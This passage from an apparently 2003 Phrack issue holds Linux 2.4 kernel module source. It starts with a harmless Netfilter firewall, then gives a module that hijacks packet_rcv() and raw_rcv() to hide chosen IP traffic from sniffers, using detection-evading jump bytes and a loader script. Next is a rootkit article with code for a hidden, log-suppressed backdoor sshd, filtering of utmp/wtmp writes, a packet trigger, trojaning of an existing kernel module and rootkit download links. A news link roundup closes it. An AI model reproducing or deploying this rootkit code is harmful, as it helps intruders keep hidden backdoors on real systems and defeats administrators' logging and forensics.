static int major = 0;		       /* Control device major number */

/* This struct will describe our hook procedure. */
struct nf_hook_ops nfkiller;

/* Module statistics structure */
static struct lwfw_stats lwfw_statistics = {0, 0, 0, 0, 0};

/* Actual rule 'definitions'. */
/* TODO:  One day LWFW might actually support many simultaneous rules.
 * Just as soon as I figure out the list_head mechanism... */
static char *deny_if = NULL;                 /* Interface to deny */
static unsigned int deny_ip = 0x00000000;    /* IP address to deny */
static unsigned short deny_port = 0x0000;   /* TCP port to deny */

/* 
 * This is the interface device's file_operations structure
 */
struct file_operations  lwfw_fops = {
   NULL,
     NULL,
     NULL,
     NULL,
     NULL,
     NULL,
     lwfw_ioctl,
     NULL,
     lwfw_open,
     NULL,
     lwfw_release,
     NULL			       /* Will be NULL'ed from here... */
};

MODULE_AUTHOR("bioforge");
MODULE_DESCRIPTION("Light-Weight Firewall for Linux 2.4");

/*
 * This is the function that will be called by the hook
 */
unsigned int lwfw_hookfn(unsigned int hooknum,
		       struct sk_buff **skb,
		       const struct net_device *in,
		       const struct net_device *out,
		       int (*okfn)(struct sk_buff *))
{
   unsigned int ret = NF_ACCEPT;
   
   /* If LWFW is not currently active, immediately return ACCEPT */
   if (!active)
     return NF_ACCEPT;
   
   lwfw_statistics.total_seen++;
   
   /* Check the interface rule first */
   if (deny_if && DENY_IF_ACTIVE) {
      if (strcmp(in->name, deny_if) == 0) {   /* Deny this interface */
	 lwfw_statistics.if_dropped++;
	 lwfw_statistics.total_dropped++;
	 return NF_DROP;
      }
   }
   
   /* Check the IP address rule */
   if (deny_ip && DENY_IP_ACTIVE) {
      ret = check_ip_packet(*skb);
      if (ret != NF_ACCEPT) return ret;
   }
   
   /* Finally, check the TCP port rule */
   if (deny_port && DENY_PORT_ACTIVE) {
      ret = check_tcp_packet(*skb);
      if (ret != NF_ACCEPT) return ret;
   }
   
   return NF_ACCEPT;		       /* We are happy to keep the packet */
}

/* Function to copy the LWFW statistics to a userspace buffer */
static int copy_stats(struct lwfw_stats *statbuff)
{
   NULL_CHECK(statbuff);

   copy_to_user(statbuff, &lwfw_statistics,
		sizeof(struct lwfw_stats));
   
   return 0;
}

/* Function that compares a received TCP packet's destination port
 * with the port specified in the Port Deny Rule. If a processing
 * error occurs, NF_ACCEPT will be returned so that the packet is
 * not lost. */
static int check_tcp_packet(struct sk_buff *skb)
{
   /* Seperately defined pointers to header structures are used
    * to access the TCP fields because it seems that the so-called
    * transport header from skb is the same as its network header TCP packets.
    * If you don't believe me then print the addresses of skb->nh.iph
    * and skb->h.th. 
    * It would have been nicer if the network header only was IP and
    * the transport header was TCP but what can you do? */
   struct tcphdr *thead;
   
   /* We don't want any NULL pointers in the chain to the TCP header. */
   if (!skb ) return NF_ACCEPT;
   if (!(skb->nh.iph)) return NF_ACCEPT;

   /* Be sure this is a TCP packet first */
   if (skb->nh.iph->protocol != IPPROTO_TCP) {
      return NF_ACCEPT;
   }

   thead = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4));
   
   /* Now check the destination port */
   if ((thead->dest) == deny_port) {
      /* Update statistics */
      lwfw_statistics.total_dropped++;
      lwfw_statistics.tcp_dropped++;
      
      return NF_DROP;
   }
   
   return NF_ACCEPT;
}

/* Function that compares a received IPv4 packet's source address
 * with the address specified in the IP Deny Rule. If a processing
 * error occurs, NF_ACCEPT will be returned so that the packet is
 * not lost. */
static int check_ip_packet(struct sk_buff *skb)
{
   /* We don't want any NULL pointers in the chain to the IP header. */
   if (!skb ) return NF_ACCEPT;
   if (!(skb->nh.iph)) return NF_ACCEPT;
   
   if (skb->nh.iph->saddr == deny_ip) {/* Matches the address. Barf. */
      lwfw_statistics.ip_dropped++;    /* Update the statistics */
      lwfw_statistics.total_dropped++;
      
      return NF_DROP;
   }
   
   return NF_ACCEPT;
}

static int set_if_rule(char *name)
{
   int ret = 0;
   char *if_dup;		       /* Duplicate interface */
   
   /* Make sure the name is non-null */
   NULL_CHECK(name);
   
   /* Free any previously saved interface name */
   if (deny_if) {
      kfree(deny_if);
      deny_if = NULL;
   }
   
   if ((if_dup = kmalloc(strlen((char *)name) + 1, GFP_KERNEL))
        == NULL) {
      ret = -ENOMEM;
   } else {
      memset(if_dup, 0x00, strlen((char *)name) + 1);
      memcpy(if_dup, (char *)name, strlen((char *)name));
   }

   deny_if = if_dup;
   lwfw_statistics.if_dropped = 0;     /* Reset drop count for IF rule */
   printk("LWFW: Set to deny from interface: %s\n", deny_if);
   
   return ret;
}

static int set_ip_rule(unsigned int ip)
{
   deny_ip = ip;
   lwfw_statistics.ip_dropped = 0;     /* Reset drop count for IP rule */
   
   printk("LWFW: Set to deny from IP address: %d.%d.%d.%d\n",
	  ip & 0x000000FF, (ip & 0x0000FF00) >> 8,
	  (ip & 0x00FF0000) >> 16, (ip & 0xFF000000) >> 24);
   
   return 0;
}

static int set_port_rule(unsigned short port)
{
   deny_port = port;
   lwfw_statistics.tcp_dropped = 0;    /* Reset drop count for TCP rule */
   
   printk("LWFW: Set to deny for TCP port: %d\n",
	  ((port & 0xFF00) >> 8 | (port & 0x00FF) << 8));
	  
   return 0;
}

/*********************************************/
/* 
 * File operations functions for control device
 */
static int lwfw_ioctl(struct inode *inode, struct file *file,
		      unsigned int cmd, unsigned long arg)
{
   int ret = 0;
   
   switch (cmd) {
    case LWFW_GET_VERS:
      return LWFW_VERS;
    case LWFW_ACTIVATE: {
       active = 1;
       printk("LWFW: Activated.\n");
       if (!deny_if && !deny_ip && !deny_port) {
	  printk("LWFW: No deny options set.\n");
       }
       break;
    }
    case LWFW_DEACTIVATE: {
       active ^= active;
       printk("LWFW: Deactivated.\n");
       break;
    }
    case LWFW_GET_STATS: {
       ret = copy_stats((struct lwfw_stats *)arg);
       break;
    }
    case LWFW_DENY_IF: {
       ret = set_if_rule((char *)arg);
       break;
    }
    case LWFW_DENY_IP: {
       ret = set_ip_rule((unsigned int)arg);
       break;
    }
    case LWFW_DENY_PORT: {
       ret = set_port_rule((unsigned short)arg);
       break;
    }
    default:
      ret = -EBADRQC;
   };
   
   return ret;
}

/* Called whenever open() is called on the device file */
static int lwfw_open(struct inode *inode, struct file *file)
{
   if (lwfw_ctrl_in_use) {
      return -EBUSY;
   } else {
      MOD_INC_USE_COUNT;
      lwfw_ctrl_in_use++;
      return 0;
   }
   return 0;
}

/* Called whenever close() is called on the device file */
static int lwfw_release(struct inode *inode, struct file *file)
{
   lwfw_ctrl_in_use ^= lwfw_ctrl_in_use;
   MOD_DEC_USE_COUNT;
   return 0;
}

/*********************************************/
/*
 * Module initialisation and cleanup follow...
 */
int init_module()
{
   /* Register the control device, /dev/lwfw */
      SET_MODULE_OWNER(&lwfw_fops);
   
   /* Attempt to register the LWFW control device */
   if ((major = register_chrdev(LWFW_MAJOR, LWFW_NAME,
				&lwfw_fops)) < 0) {
      printk("LWFW: Failed registering control device!\n");
      printk("LWFW: Module installation aborted.\n");
      return major;
   }
   
   /* Make sure the usage marker for the control device is cleared */
   lwfw_ctrl_in_use ^= lwfw_ctrl_in_use;

   printk("\nLWFW: Control device successfully registered.\n");
   
   /* Now register the network hooks */
   nfkiller.hook = lwfw_hookfn;
   nfkiller.hooknum = NF_IP_PRE_ROUTING;   /* First stage hook */
   nfkiller.pf = PF_INET;	           /* IPV4 protocol hook */
   nfkiller.priority = NF_IP_PRI_FIRST;    /* Hook to come first */
   
   /* And register... */
   nf_register_hook(&nfkiller);
   
   printk("LWFW: Network hooks successfully installed.\n");
   
   printk("LWFW: Module installation successful.\n");
   return 0;
}

void cleanup_module()
{
   int ret;
   
   /* Remove IPV4 hook */
   nf_unregister_hook(&nfkiller);

   /* Now unregister control device */
   if ((ret = unregister_chrdev(LWFW_MAJOR, LWFW_NAME)) != 0) {
      printk("LWFW: Removal of module failed!\n");
   }

   /* If anything was allocated for the deny rules, free it here */
   if (deny_if)
     kfree(deny_if);
   
   printk("LWFW: Removal of module successful.\n");
}
<-->

<++> lwfw/lwfw.h
/* Include file for the Light-weight Fire Wall LKM.
 * 
 * A very simple Netfilter module that drops backets based on either
 * their incoming interface or source IP address.
 * 
 * Written by bioforge  -  March 2003
 */

#ifndef __LWFW_INCLUDE__
# define __LWFW_INCLUDE__

/* NOTE: The LWFW_MAJOR symbol is only made available for kernel code.
 * Userspace code has no business knowing about it. */
# define LWFW_NAME        "lwfw" 

/* Version of LWFW */
# define LWFW_VERS        0x0001       /* 0.1 */

/* Definition of the LWFW_TALKATIVE symbol controls whether LWFW will
 * print anything with printk(). This is included for debugging purposes.
 */
#define LWFW_TALKATIVE

/* These are the IOCTL codes used for the control device */
#define LWFW_CTRL_SET   0xFEED0000     /* The 0xFEED... prefix is arbitrary */
#define LWFW_GET_VERS   0xFEED0001     /* Get the version of LWFM */
#define LWFW_ACTIVATE   0xFEED0002
#define LWFW_DEACTIVATE 0xFEED0003
#define LWFW_GET_STATS  0xFEED0004
#define LWFW_DENY_IF    0xFEED0005
#define LWFW_DENY_IP    0xFEED0006
#define LWFW_DENY_PORT  0xFEED0007

/* Control flags/Options */
#define LWFW_IF_DENY_ACTIVE   0x00000001
#define LWFW_IP_DENY_ACTIVE   0x00000002
#define LWFW_PORT_DENY_ACTIVE 0x00000004

/* Statistics structure for LWFW.
 * Note that whenever a rule's condition is changed the related
 * xxx_dropped field is reset.
 */
struct lwfw_stats {
   unsigned int if_dropped;	       /* Packets dropped by interface rule */
   unsigned int ip_dropped;	       /* Packets dropped by IP addr. rule */
   unsigned int tcp_dropped;	       /* Packets dropped by TCP port rule */
   unsigned long total_dropped;   /* Total packets dropped */
   unsigned long total_seen;      /* Total packets seen by filter */
};

/* 
 * From here on is used solely for the actual kernel module
 */
#ifdef __KERNEL__
# define LWFW_MAJOR       241   /* This exists in the experimental range */

/* This macro is used to prevent dereferencing of NULL pointers. If
 * a pointer argument is NULL, this will return -EINVAL */
#define NULL_CHECK(ptr)    \
   if ((ptr) == NULL)  return -EINVAL

/* Macros for accessing options */
#define DENY_IF_ACTIVE    (lwfw_options & LWFW_IF_DENY_ACTIVE)
#define DENY_IP_ACTIVE    (lwfw_options & LWFW_IP_DENY_ACTIVE)
#define DENY_PORT_ACTIVE  (lwfw_options & LWFW_PORT_DENY_ACTIVE)

#endif				       /* __KERNEL__ */
#endif
<-->

<++> lwfw/Makefile
CC= egcs
CFLAGS= -Wall -O2
OBJS= lwfw.o

.c.o:
	$(CC) -c $< -o $@ $(CFLAGS)

all: $(OBJS)

clean:
	rm -rf *.o
	rm -rf ./*~
<-->


--[ B - Code for section 6

   Presented  here is  a  simple  module that will  hijack the
 packet_rcv() and raw_rcv() functions to hide  any packets  to
 or from the  IP address  we specify.  The default  IP address
 is set to 127.0.0.1, but this  can be changed by changing the
 value of  the  #define IP.  Also  presented is a  bash script
 that will get the addresses for the required functions from a
 System.map  file  and run  insmod  with  these  addresses  as
 parameters in the required  format.  This loader  script  was
 written by  grem.  Originally for  my Mod-off project, it was
 easily  modified to suit  the module  presented here.  Thanks
 again grem.
 
   The presented module  is proof-of-concept  code only and as
 such, does not have anything in the way of module  hiding. It
 is also  important to  remember that although this module can
 hide  traffic  from a  sniffer  running on the  same  host, a
 sniffer on a different host, but on the same LAN segment will
 still see  the packets. From what is presented in the module,
 smart  readers  should have  everything  they need to  design
 filtering functions to block any kind of packets they need. I
 have successfully used the technique presented  in this  text
 to hide control and information retrieval packets used by  my
 other LKM projects.
 
 
<++> pcaphide/pcap_block.c
/* Kernel hack that will hijack the packet_rcv() function
 * which is used to pass packets to  Libpcap applications
 * that use  PACKET sockets.  Also  hijacks the raw_rcv()
 * function. This is used to pass packets to applications
 * that open RAW sockets.
 * 
 * Written by bioforge  -  30th June, 2003
 */

#define MODULE
#define __KERNEL__

#include <linux/config.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/netdevice.h>
#include <linux/skbuff.h>
#include <linux/smp_lock.h>
#include <linux/ip.h>		       /* For struct ip */
#include <linux/if_ether.h>	       /* For ETH_P_IP */

#include <asm/page.h>		       /* For PAGE_OFFSET */

/* 
 * IP address to hide 127.0.0.1 in NBO for Intel */
#define IP    htonl(0x7F000001)

/* Function pointer for original packet_rcv() */
static int (*pr)(struct sk_buff *skb, struct net_device *dev,
		  struct packet_type *pt);
MODULE_PARM(pr, "i");       /* Retrieved as insmod parameter */

/* Function pointer for original raw_rcv() */
static int (*rr)(struct sock *sk, struct sk_buff *skb);
MODULE_PARM(rr, "i");

/* Spinlock used for the parts where we un/hijack packet_rcv() */
static spinlock_t hijack_lock  = SPIN_LOCK_UNLOCKED;

/* Helper macros for use with the Hijack spinlock */
#define HIJACK_LOCK    spin_lock_irqsave(&hijack_lock, \
					     sl_flags)
#define HIJACK_UNLOCK  spin_unlock_irqrestore(&hijack_lock, \
						  sl_flags)

#define CODESIZE 10
/* Original and hijack code buffers.
 * Note that the hijack code also provides 3 additional
 * bytes ( inc eax;  nop;  dec eax ) to try and throw
 * simple hijack detection techniques that just look for
 * a move and a jump. */
/* For packet_rcv() */
static unsigned char pr_code[CODESIZE] = "\xb8\x00\x00\x00\x00"
                                      "\x40\x90\x48"
                                      "\xff\xe0";
static unsigned char pr_orig[CODESIZE];

/* For raw_rcv() */
static unsigned char rr_code[CODESIZE] = "\xb8\x00\x00\x00\x00"
                                      "\x40\x90\x48"
                                      "\xff\xe0";
static unsigned char rr_orig[CODESIZE];

/* Replacement for packet_rcv(). This is currently setup to hide
 * all packets with a source or destination IP address that we
 * specify. */
int hacked_pr(struct sk_buff *skb, struct net_device *dev,
	       struct packet_type *pt)
{
    int sl_flags;		       /* Flags for spinlock */
    int retval;

    /* Check if this is an IP packet going to or coming from our
     * hidden IP address. */
    if (skb->protocol == htons(ETH_P_IP))   /* IP packet */
      if (skb->nh.iph->saddr == IP || skb->nh.iph->daddr == IP)
	return 0;		    /* Ignore this packet */
    
    /* Call original */
    HIJACK_LOCK;
    memcpy((char *)pr, pr_orig, CODESIZE);
    retval = pr(skb, dev, pt);
    memcpy((char *)pr, pr_code, CODESIZE);
    HIJACK_UNLOCK;

    return retval;
}

/* Replacement for raw_rcv(). This is currently setup to hide
 * all packets with a source or destination IP address that we
 * specify. */
int hacked_rr(struct sock *sock, struct sk_buff *skb)
{
    int sl_flags;		       /* Flags for spinlock */
    int retval;

    /* Check if this is an IP packet going to or coming from our
     * hidden IP address. */
    if (skb->protocol == htons(ETH_P_IP))   /* IP packet */
      if (skb->nh.iph->saddr == IP || skb->nh.iph->daddr == IP)
	return 0;		    /* Ignore this packet */
    
    /* Call original */
    HIJACK_LOCK;
    memcpy((char *)rr, rr_orig, CODESIZE);
    retval = rr(sock, skb);
    memcpy((char *)rr, rr_code, CODESIZE);
    HIJACK_UNLOCK;

    return retval;
}

int init_module()
{
    int sl_flags;		       /* Flags for spinlock */
    
    /* pr & rr set as module parameters. If zero or < PAGE_OFFSET
     * (which we treat as the lower bound of kernel memory), then
     * we will not install the hacks. */
    if ((unsigned int)pr == 0 || (unsigned int)pr < PAGE_OFFSET) {
	printk("Address for packet_rcv() not valid! (%08x)\n",
	       (int)pr);
	return -1;
    }
    if ((unsigned int)rr == 0 || (unsigned int)rr < PAGE_OFFSET) {
	printk("Address for raw_rcv() not valid! (%08x)\n",
	       (int)rr);
	return -1;
    }
         
    *(unsigned int *)(pr_code + 1) = (unsigned int)hacked_pr;
    *(unsigned int *)(rr_code + 1) = (unsigned int)hacked_rr;
    
    HIJACK_LOCK;
    memcpy(pr_orig, (char *)pr, CODESIZE);
    memcpy((char *)pr, pr_code, CODESIZE);
    memcpy(rr_orig, (char *)rr, CODESIZE);
    memcpy((char *)rr, rr_code, CODESIZE);
    HIJACK_UNLOCK;
    
    EXPORT_NO_SYMBOLS;
    
    return 0;
}

void cleanup_module()
{
    int sl_flags;
    
    lock_kernel();
    
    HIJACK_LOCK;
    memcpy((char *)pr, pr_orig, CODESIZE);
    memcpy((char *)rr, rr_orig, CODESIZE);
    HIJACK_UNLOCK;
    
    unlock_kernel();
}
<-->

<++> pcaphide/loader.sh
#!/bin/sh
#  Written by  grem, 30th June 2003
#  Hacked by bioforge, 30th June 2003

if [ "$1" = "" ]; then
        echo "Use: $0 <System.map>";
        exit;
fi

MAP="$1"
PR=`cat $MAP | grep -w "packet_rcv" | cut -c 1-16`
RR=`cat $MAP | grep -w "raw_rcv" | cut -c 1-16`

if [ "$PR" = "" ]; then
        PR="00000000"
fi
if [ "$RR" = "" ]; then
        RR="00000000"
fi

echo "insmod pcap_block.o pr=0x$PR rr=0x$RR"

# Now do the actual call to insmod
insmod pcap_block.o pr=0x$PR rr=0x$RR
<-->

<++> pcaphide/Makefile
CC= gcc
CFLAGS= -Wall -O2 -fomit-frame-pointer
INCLUDES= -I/usr/src/linux/include
OBJS= pcap_block.o

.c.o:
	$(CC) -c $< -o $@ $(CFLAGS) $(INCLUDES)

all: $(OBJS)

clean:
	rm -rf *.o
	rm -rf ./*~
<-->


------[ References

This appendix contains a list of references used in writing this article.

 [1]  The tcpdump group
      http://www.tcpdump.org
 [2]  The Packet Factory
      http://www.packetfactory.net
 [3]  My network tools page -
      http://uqconnect.net/~zzoklan/software/#net_tools
 [4]  Silvio Cesare's Kernel Function Hijacking article
      http://vx.netlux.org/lib/vsc08.html
 [5]  Man pages for:
    - raw (7)
    - packet (7)
    - tcpdump (1)
 [6]  Linux kernel source files. In particular:
    - net/packet/af_packet.c     (for  packet_rcv())
    - net/ipv4/raw.c             (for  raw_rcv())
    - net/core/dev.c
    - net/ipv4/netfilter/*
 [7] Harald Welte's Journey of a packet through the Linux 2.4 network
     stack
     http://gnumonks.org/ftp/pub/doc/packet-journey-2.4.html
 [8] The Netfilter documentation page
     http://www.netfilter.org/documentation
 [9] Phrack 55 - File 12 -
     http://www.phrack.org/show.php?p=55&a=12
 [A] Linux Device Drivers 2nd Ed. by Alessandro Rubini et al.
 [B] Inside the Linux Packet Filter. A Linux Journal article
     http://www.linuxjournal.com/article.php?sid=4852


|=[ EOF ]=---------------------------------------------------------------=|



--------------------------------------------------------------------------------


                           ==Phrack Inc.==

               Volume 0x0b, Issue 0x3d, Phile 0x0e of 0x0f

|=-----------------------------------------------------------------------=|
|=------------------=[ Kernel Rootkit Experiences ]=---------------------=|
|=-----------------------------------------------------------------------=|
|=----------------=[ stealth <stealth@segfault.net> ]=-------------------=|


--[ Contents

  1 - Introduction

  2 - Sick of it all?

  3 - Let it log

  4 - Let it rock

  5 - Thinking about linking

  6 - as in 2.6

  7 - Last words & References


--[ 1 - Introduction

This article focuses on kernel based rootkits and how much they will be
influenced by "normal" backdoors in future. Kernel based rootkits
are there for a while, and they will be there in future, so some ideas
and outlooks seem worth.
  Before reading this article, you should read the article regarding the
netfilter hooks and the LKM relinking first. The backdoor impmentations I am
speaking of and code snippets will utilize these.
  Please do not take this article too serious, it is not a description
of how to hack if you read between the lines. I just express what I
have experianced as "adore author" during the last years. This ranges from
upset admins at congresses, weird questions at speaches, mails which
cry for help, "adore sucks" messages at IRC, congratulations from
.edu sites and so on.


--[ 2 - Sick of it all?

Rootkits, and kernel based rootkits in particular, are available since a
few years now, and some research has been done in this field. A lot of
blubbering and even more blahs are published from time to time, and this is
really annoying so I can understand if you do not read articles about rootkits
anymore. Nevertheless, new obstacles come up and have to be addressed by
rootkit (-authors) in the future. These include but are not limited to:

  - new kernel-versions and vendor extensions
  - absence of important symbols (namely sys_call_table)
  - advanced logging and auditing mechanisms
  - kernel hardening, trusted OS etc.
  - intrusion detection/abnormal behaivior detection
  - advanced forensic tools and analysis methods


While some of these points I try to address in adore-ng like avoiding
of sys_call_table[] usage via VFS layer redirection, some points are
still topic of research. Rootkits usually include logfile cleaners
for the [u,w]tmp files, but this bites with the "least privilege" principle
rule for intruders, which turns into a "least uploads to the system"
rule. So, one point is to try to avoid logging at all, at the
backdoor level (LKM level in our case) to have less binaries on the
target system.
  The trusted OS thingie has to be addressed in a own paper, and I already
know which kernel hardening I want to look at spender. :-)


--[ 3 Let it log

During a speach about rootkits at a certain university by a forensic
company I got some nice ideas how one can improve invisibillity.
  Today, advanced folks is probably dont patching the sshd binary anymore,
but placing apropriate authentitation tokens at certain places
(yes, distributed authentication mechanisms can be nasty for forensics).
So, if the intruder is going to use the standard tools (he can also
post-install uninstalled libraries and packages if they are missing; do you
know which of the 3 admins installed the openssh package at pc-5073?)
the lkm-rootkit has somehow to ensure the logs the sshd sends go to
/dev/null. One can do it this way:


  static int ssh(void *vp)
  {
          char *a[] = {"/usr/bin/perl", "-e",
          "$ENV{PATH}='/usr/bin:/bin:/sbin:/usr/sbin';"
          "open(STDIN,'</dev/null');open(STDOUT,'>/dev/null');"
          "open(STDERR,'>/dev/null');"
          "exec('sshd -e -d -p 2222');",
               NULL};

          task_lock(current);
          REMOVE_LINKS(current);
          list_del(&current->thread_group);
          evil_sshd_pid = current->pid;
          task_unlock(current);
          exec_usermodehelper(*a, a, NULL);
          return 0;

  }


This looks like it could be called as kernel_thread() by a netfilter hook eh?
"-e" lets sshd log to stderr which is /dev/null in this case. Excellent.
"-d" is a nice switch which forbids sshd to fork and therefore does
not have open ports which can be detected after intruders login.
REMOVE_LINK() makes the process invisible for ps and friends. Using perl
is necessary to open stdin etc. because exec_usermodehelper() will close
all files before starting sshd which makes sshd mix up stderr with the
sockets when run with -e.
  The utmp/wtmp/lastlog logging can be avoided via:

        // parent must be evil sshd (since child which becomes the shell
        // logs the stuff)
        if (current->p_opptr &&
            current->p_opptr->pid == evil_sshd_pid && evil_sshd_pid != 0) {
                for (i = 0; var_filenames[i]; ++i) {
                        if (var_files[i] && f->f_dentry->d_inode->i_ino ==
                            var_files[i]->f_dentry->d_inode->i_ino) {
                                task_unlock(current);
                                *off += blen;
                                return blen;
                        }
                }
        }

It looks whether the loggie is the sshd and whether it tries to
write [u,w]tmp entries into the appropriate files. Ofcorse we have
to redirect the write() function in the VFS layer and to check
the inode numbers to filter out the correct writes. Indeed, we
would have to check the superblock too, but sshd is not
going to write to files with the same inode# on a different disk
I think.
  Some pam modules open a session when one logs in, so a

  pam_unix2: session started for user root

might appear in the logs even by the evil sshd with log redirection.
So, as it seems, the log-issue can be solved in future backdoors/rootkits
without messing too much with the system binaries.


--[ 4 Let it rock

One needs a trigger to start the evil sshd, so nmap does not show open
ports. Ofcorse. The netfilter article shows how one can build his
own icmp-hooks to do so. I wont describe it again here, the article
does it better than I could. Just one important point: as far as
I have experianced you cannot start a program from within the hook directly.
Kernel will crash badly, probably because the hook is somehow nested
in an interrupt service routine. To overcome this problem, we set a flag that
the sshd should be started:

        if (hit && (hit-1) % HIT_FREQ == 0) {
                write_lock(&ssh_lock);
                start_ssh = 1;
                write_unlock(&ssh_lock);
                return NF_DROP;
        }

and since we mess with the VFS layer anyway, we also redirect the
open() call (of the particular FS which /etc holds) so the next
process that is opening a file on the same FS is starting the evil sshd.
That might be a "ls" by root or we trigger it ourself via the real
sshd that is running:

  root@linux:root# telnet 127.0.0.1 22
  Trying 127.0.0.1...
  Connected to 127.0.0.1.
  Escape character is '^]'.
  SSH-2.0-OpenSSH_3.5p1
  SSH-2.0-OpenSSH_3.5p1              <<<<< pasted by attacker
  Connection closed by foreign host.

On my machine this causes logs from the real sshd:

  sshd[1967]: fatal: No supported key exchange algorithms

If one does not enter a valid protocol-string you get your IP logged:

  sshd[1980]: Bad protocol version identification '' from ::ffff:127.0.0.1

Might be there are other services (with zero logs) which open files and
trigger the start of the evil sshd like a httpd.
  Easy to see that it is possible for the kernel rootkit to
supress certain log messages but by now it depends on the application
and knowledge about when/what it will log. Not a too bad assumption
for an intruder but in future intruders could use tainting-like mechanisms
(taint every log-data that is caused by a hidden shell for example)
to supress any logs the admin could find usefull for detecting the
intruder.


--[ 5 Thinking about linking

There is an article regarding LKM infection, please read it, its
worth to spend the time. :-)
However, one does not need to mess with the ELF format too much, a simple
mmap() with a substitution of the init_module() and cleanup_module()
will suffice. Such a program has to be part of the rootkit, because 
rootkits have to be user-friendly, so they can easily set up by
admins who run honeypot systems:


  root@linux:zero# ./configure 
  Starting configuration ...
  generating secret pattern ...
  \\x37\\x8e\\x37\\x5f
  checking 4 SMP ... NO
  checking 4 MODVERSIONS ...NO


  Your secret ping commandline is: ping -s 32 -p 378e375f IP

  root@linux:zero# make
  cc -c -I/usr/src/linux/include -DSECRET_PATTERN=\"\\x37\\x8e\\x37\\x5f\"\
     -O2 -Wall zero.c
  cc -c -I/usr/src/linux/include -DSECRET_PATTERN=\"\\x37\\x8e\\x37\\x5f\"\
     -O2 -Wall -DSTANDALONE zero.c -o zero-alone.o
  cc -c -I/usr/src/linux/include -DSECRET_PATTERN=\"\\x37\\x8e\\x37\\x5f\"\
     -O2 -Wall cleaner.c
  root@linux:zero# ./setup 
  The following LKMs are available:


  af_packet ppp_async ppp_generic slhc iptable_filter 
  ip_tables ipv6 st sr_mod sg 
  mousedev joydev evdev input uhci 
  usbcore raw1394 ieee1394 8139too mii 
  scsi cd cdrom parport_pc ppa 

  Chose one: sg
  Choice was >>>sg<<<
  Searching for sg.o ...
  Found /lib/modules/2.4.20/kernel/drivers/scsi/sg.o!

  Copy trojaned LKM back to original LKM? (y/n)

  ...

zero.o is for relinkage with one of the chosen modules, but since
this is already inserted into kernel, the intruder needs a standalone module:
zero-alone.o.
  For more ideas on linking and different platform approaches, please
look at the particular article at [1].


--[ 6 as in 2.6

As of writing, the 2.6 Linux kernel is already in testing phase, and
soon the first non-testing versions of it will be available. So, it
is probably time to look at the new glitches. At [4] you find a
version of adore-ng that already works with the Linux kernel 2.6.
Beside some new headers the rootkit will need, the signatures
of some functions we need to redirect changed. A not unusual thing. 
Not too much challenging. In particular the init and cleanup
functions have to be announced to the LKM loader in a different way:

  #ifdef LINUX26
  static int __init adore_init()
  #else
  int init_module()
  #endif

and

  static void __exit adore_cleanup()
  #else
  int cleanup_module()
  #endif


   ...

  #ifdef LINUX26
  module_init(adore_init);
  module_exit(adore_cleanup);
  #endif

No big thing either. Adore-ng already uses the new VFS technique
to hide files and processes, so we do not need to care about sys_call_table
layout.
  The most time-consuming part of porting adore to the 2.6 kernel was
to find out how the LKMs are build at all. Its not enough to "cc"
them to a single object file anymore. You have to link it against
some other object-file compiled from a C-file containing certain infos
and attributes like a

  MODULE_INFO(vermagic, VERMAGIC_STRING);

for example. I do not know why they depend on this.
  And thats all for 2.6! No magic at all, except some hooks introduced
in the kernel seem worth a look. :-)


--[ 7 Last words & references

Zero rootkit does not hide files, and it only hides the evil sshd process
by removing it from the task-list. It is not wise to "halt" the system from
such a process or its child. I tested zero on a SMP system but it freezed.
No matter whether it was me or the "-f" insmod switch I had to use because
of the different versions. If anyone is willing to grant (legal ofcorse!)
access to a SMP box, let the phrack team or me know. Zero is experimental
stuff, so please do not tell me you do not like it because it is missing
a GUI or stuff.

Some links:

  [1] Infecting Loadable Kernel Modules (in this release)
  [2] Hacking da Linux Kernel Network Stack (in this release)
  [3] http://stealth.7350.org/empty/zero.tgz
      (soon appears at http://stealth.7350.org/rootkits)
  [4] http://stealth.7350.org/rootkits/adore-ng-0.24.tgz

|=[ EOF ]=---------------------------------------------------------------=|



--------------------------------------------------------------------------------


                           ==Phrack Inc.==

              Volume 0x0b, Issue 0x3d, Phile #0x0f of 0x0f

|=--------------=[ P H R A C K   W O R L D   N E W S ]=------------------=|
|=-----------------------------------------------------------------------=|
|=------------------=[ Phrack Combat Journalistz ]=----------------------=|

Content

    1 - Quickies
    2 - Hacker Generations by Richard Thieme 
    3 - Citizen Questions on Citizenship by Bootleg
    4 - The Molting Wings of Liberty by Beaux75

|=-----------------------------------------------------------------------=|
|=-=[ Quick News ]=------------------------------------------------------=|
|=-----------------------------------------------------------------------=|


Microsoft got hit by SQL slammer worm:
[1] http://www.cnn.com/2003/TECH/biztech/01/28/microsoft.worm.ap/index.html
[2] http://www.thewmurchannel.com/technology/1940013/detail.html

They say they cought 'Fluffi Bunny':
[1] http://www.salon.com/tech/wire/2003/04/29/fluffi_bunni/index.html
[2] http://www.nandotimes.com/technology/story/872265p-6086707c.html

How Geroge W. Bush Won the 2004 Presidential Election. This article
outlines the danger of electronic voting systems. It explains why voting
systems are vulnerable to fraudulent manipulation by the companies
manufactoring and supervising the systems.
[1] http://belgium.indymedia.org/news/2003/07/70542.php

FBI Says Iraw Situation May Spur 'Patriotic Hackers'
[1] http://www.washingtonpost.com/wp-dyn/articles/A64049-2003Feb12.html 

Over 5 million Visa/MasterCard accounts hacked into. This happens all the
day long but once in a while is one journalist making a media hype out of
it and everyone starts to go crazy about it. Wehehehhehee.
[1] http://www.forbes.com/markets/newswire/2003/02/17/rtr881826.html

The Shmoo group build a robot that drives around to find WiFi AccessPoints.
Wonder how long it will take until the first hacker mounts a WiFi + Antenna
under a low-flying zeppelin / model aircraft...
[1] http://news.com.com/2100-1039_3-5059541.html

Linux achieved the Common Criteria security certification and is now
allowed to be used by the federal government and other organizations.
[1] http://www.fcw.com/fcw/articles/2003/0804/web-linx-08-06-03.asp

$55 million electronic voting machines can be hacked into by a
15-year-old newbie. Guess who will win the 2004' election?
[1] http://www.washingtonpost.com/wp-dyn/articles/A25673-2003Aug6.html

UK Intelligence and Security Report Aug 2003. I like the quote: "Britain
has a complicated and rather bureaucratic political control over its int
elligence and security community and one that tends to apply itself to
long-term targets and strategic intelligence programs, but has little real
influence on the behaviour and operations of SIS or MI5."
[1] http://cryptome.org/uk-intel.doc

Man jailed for linking to bomb-side. Judge, psst, *hint*: Try
http://www.google.com -> homemade bombs -> I feel lucky. Eh? Going to jail
google now? Eh?
[1] http://www.cnn.com/2003/TECH/internet/08/05/anarchist.prison.ap/index.html

The military is thinking of planting propaganda and misleading stories in
the international media [1]. A new department has been set up inside the
Pentagon with the Orwellian title of the Office of Strategic Influence.
